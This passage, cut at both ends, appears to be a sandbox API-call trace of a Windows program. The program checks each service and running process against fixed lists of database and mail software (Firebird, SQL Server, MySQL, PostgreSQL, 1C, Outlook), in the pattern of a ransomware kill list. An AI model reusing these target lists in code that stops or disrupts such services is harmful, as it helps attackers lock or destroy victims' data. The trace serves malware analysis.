(lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.252] lstrlenW (lpString="gpsvc") returned 5 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.253] lstrlenW (lpString="iphlpsvc") returned 8 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.253] lstrlenW (lpString="LanmanServer") returned 12 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.253] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.253] lstrlenW (lpString="lmhosts") returned 7 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.253] lstrlenW (lpString="MMCSS") returned 5 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.253] lstrlenW (lpString="MpsSvc") returned 6 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.253] lstrlenW (lpString="Netman") returned 6 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.253] lstrlenW (lpString="netprofm") returned 8 [0040.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.253] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.253] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.253] lstrlenW (lpString="NlaSvc") returned 6 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.254] lstrlenW (lpString="nsi") returned 3 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.254] lstrlenW (lpString="PcaSvc") returned 6 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.254] lstrlenW (lpString="PlugPlay") returned 8 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.254] lstrlenW (lpString="Power") returned 5 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.254] lstrlenW (lpString="ProfSvc") returned 7 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.254] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.254] lstrlenW (lpString="RpcSs") returned 5 [0040.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.254] lstrlenW (lpString="SamSs") returned 5 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.255] lstrlenW (lpString="Schedule") returned 8 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.255] lstrlenW (lpString="SENS") returned 4 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.255] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.255] lstrlenW (lpString="Spooler") returned 7 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.255] lstrlenW (lpString="SysMain") returned 7 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.255] lstrlenW (lpString="Themes") returned 6 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.255] lstrlenW (lpString="TrkWks") returned 6 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.255] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.255] lstrlenW (lpString="UxSms") returned 5 [0040.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.255] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.256] lstrlenW (lpString="VSS") returned 3 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0040.256] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.256] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.256] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.256] lstrlenW (lpString="Winmgmt") returned 7 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.256] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.256] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395d750 | out: hHeap=0x880000) returned 1 [0040.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0040.259] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.259] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.259] lstrlenW (lpString="System") returned 6 [0040.259] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.259] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.260] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.260] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.260] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.260] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.260] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.260] lstrlenW (lpString="smss.exe") returned 8 [0040.260] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.260] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.260] lstrlenW (lpString="csrss.exe") returned 9 [0040.260] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.260] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.260] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.261] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.261] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.261] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.261] lstrlenW (lpString="wininit.exe") returned 11 [0040.261] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.261] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.261] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.261] lstrlenW (lpString="csrss.exe") returned 9 [0040.261] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.262] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.262] lstrlenW (lpString="winlogon.exe") returned 12 [0040.262] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.262] lstrlenW (lpString="services.exe") returned 12 [0040.262] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.263] lstrlenW (lpString="lsass.exe") returned 9 [0040.263] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.263] lstrlenW (lpString="lsm.exe") returned 7 [0040.263] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.263] lstrlenW (lpString="svchost.exe") returned 11 [0040.263] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.264] lstrlenW (lpString="svchost.exe") returned 11 [0040.264] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.264] lstrlenW (lpString="svchost.exe") returned 11 [0040.264] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.264] lstrlenW (lpString="svchost.exe") returned 11 [0040.264] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.265] lstrlenW (lpString="svchost.exe") returned 11 [0040.265] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.265] lstrlenW (lpString="audiodg.exe") returned 11 [0040.265] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.266] lstrlenW (lpString="svchost.exe") returned 11 [0040.266] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.266] lstrlenW (lpString="svchost.exe") returned 11 [0040.266] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.266] lstrlenW (lpString="dwm.exe") returned 7 [0040.266] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.267] lstrlenW (lpString="explorer.exe") returned 12 [0040.267] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.267] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.267] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.267] lstrlenW (lpString="taskhost.exe") returned 12 [0040.267] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.268] lstrlenW (lpString="svchost.exe") returned 11 [0040.268] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, 